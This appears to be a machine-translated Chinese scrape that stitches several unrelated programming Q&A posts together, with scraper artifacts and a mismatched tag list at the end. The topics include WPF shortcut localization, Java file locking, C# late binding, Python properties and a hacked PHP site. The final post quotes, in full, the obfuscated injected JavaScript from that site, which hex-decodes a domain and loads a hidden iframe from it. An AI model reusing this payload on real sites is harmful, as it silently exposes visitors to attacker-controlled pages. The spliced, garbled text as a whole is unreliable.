我目前正在参与一个重度本地化的WPF应用程序,我们在非英语语言菜单上遇到了关于键盘快捷键的错误.该bug指的是未被翻译的修饰符键名(Shift,Ctrl等),这很容易修复.
然而,这让我想到了快捷键本身,它们通常基于命令的第一个字母,除非由于冲突或约定而不可行.当命令名称本地化时,命令及其各自快捷方式之间的链接通常会丢失:
虽然这个问题的灵感来自WPF应用程序,但我对一般情况更感兴趣.
这是场景:我有一个在servlet容器中运行的多线程java Web应用程序.应用程序在servlet容器中多次部署.有多个servlet容器在不同的服务器上运行.
也许这个图表清楚地说明了:
server1
+- servlet container
+- application1
| +- thread1
| +- thread2
+- application2
+- thread1
+- thread2
server2
+- servlet container
+- application1
| +- thread1
| +- thread2
+- application2
+- thread1
+- thread2
Run Code Online (Sandbox Code Playgroud)
网络共享目录中有一个文件,所有这些线程都可以访问.他们经常访问该文件.大多数情况下,文件只能由这些线程读取.但有时它是写的.
无效的解决方案(正确):
使用java.nio.channels.FileLock
我能够使用FileLock类同步来自不同服务器的线程.但是这对于同一进程(servlet容器)中的线程不起作用,因为文件锁在进程范围内可用.
使用单独的文件进行同步,
我可以创建一个单独的文件,指示进程正在读取或写入文件.此解决方案适用于所有线程,但有几个缺点:
使用消息传递
我们可以实现一个消息传递系统,线程将使用它来协调文件访问.但这对于这个问题来说似乎太复杂了.再说一次:表现会很糟糕.
有什么想法吗?
我最近一直在与一个非常激烈的项目的人合作.使用ajax对Web服务进行所有调用,并在客户端处理数据逻辑.服务器端代码仅用作数据访问层,并且几乎不起作用.多少javascript太多了?
当我在C#中发生早期/晚期绑定时,我正试图解决这个问题.
非虚方法总是早期绑定.虚方法总是后期绑定:编译器插入额外的代码来解析在执行时绑定到的实际方法并检查类型安全性.因此,子类型多态性使用后期绑定.
使用反射调用方法是后期绑定的一个示例.我们编写代码来实现这一点,而不是编译器.(例如,调用COM组件.)
当Option Strict关闭时,VB.NET支持隐式后期绑定.当对象被赋值为声明为Object类型的变量时,该对象是后期绑定的.VB编译器在执行时插入代码以绑定到正确的方法并捕获无效的调用.C#不支持此功能.
我正朝着正确的方向前进吗?
如何调用委托并通过接口引用调用方法?是早期还是晚期绑定?
我试图编写一些代码来检查项目是否具有某些属性,并调用它们.我尝试用getattr做到这一点,但修改不会是永久性的.我做了一个"假"课来检查这个.这是我用于该类的代码:
class X:
def __init__(self):
self.value = 90
def __get(self):
return self.value
def __set(self,value):
self.value = value
value = property(__get,__set)
x = X()
print x.value # this would output 90
getattr(x,"value=",99) # when called from an interactive python interpreter this would output 99
print x.value # this is still 90 ( how could I make this be 99 ? )
Run Code Online (Sandbox Code Playgroud)
谢谢 !
我想知道c ++中的friend函数和运算符重载以及它们是如何工作的?与程序?
尔加!这真的让我今天麻烦.突然没有警告'@'(符号)和'''(双引号)是我键盘上的交易场所,但仅限于Visual Studio 2008!
我似乎无法找到任何帮助或在线解释/补救这一点.是否有一些键盘快捷键我无意中执行了?
我重新启动了我的电脑,它消失了一两个小时然后突然又回来了.
哦,精神错乱:(
好吧,我想这一天不得不来.
我的客户的网站已被Google妥协并列入黑名单.当你加载主页面时,这个javascript会自动添加到文档的底部:
<script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>
Run Code Online (Sandbox Code Playgroud)
我还没有解剖它,但很明显,这是一个试图冒充谷歌分析的攻击者.我无法理解的是,如果我从主页面中删除每个单独的HTML,那么index.html是一个空文档,javascript STILL将被嵌入.是什么赋予了?怎么可能?
更新
该网站是一个非常简单的日历应用程序,运行在10美元/月的godaddy unix帐户,MySQL,PHP.
它不是我的计算机特有的本地东西,因为我的客户端是那个用问题打电话给我的人.我家里的所有电脑也发生过(4)
我将在网络服务器上进行扫描......
来源确定
好吧,我发现了javascript的来源.我愚蠢地只清空了template.html
文件,但仍然通过我的php模板系统运行脚本.显然,有些上面的代码被附加到我index.php
和main.php
文件的底部.这怎么可能?
更多背景:
c++ ×2
javascript ×2
ajax ×1
attributes ×1
binding ×1
c# ×1
dynamic ×1
file ×1
java ×1
late-binding ×1
localization ×1
locking ×1
properties ×1
python ×1
regional ×1
security ×1
stl ×1
xml ×1
xquery ×1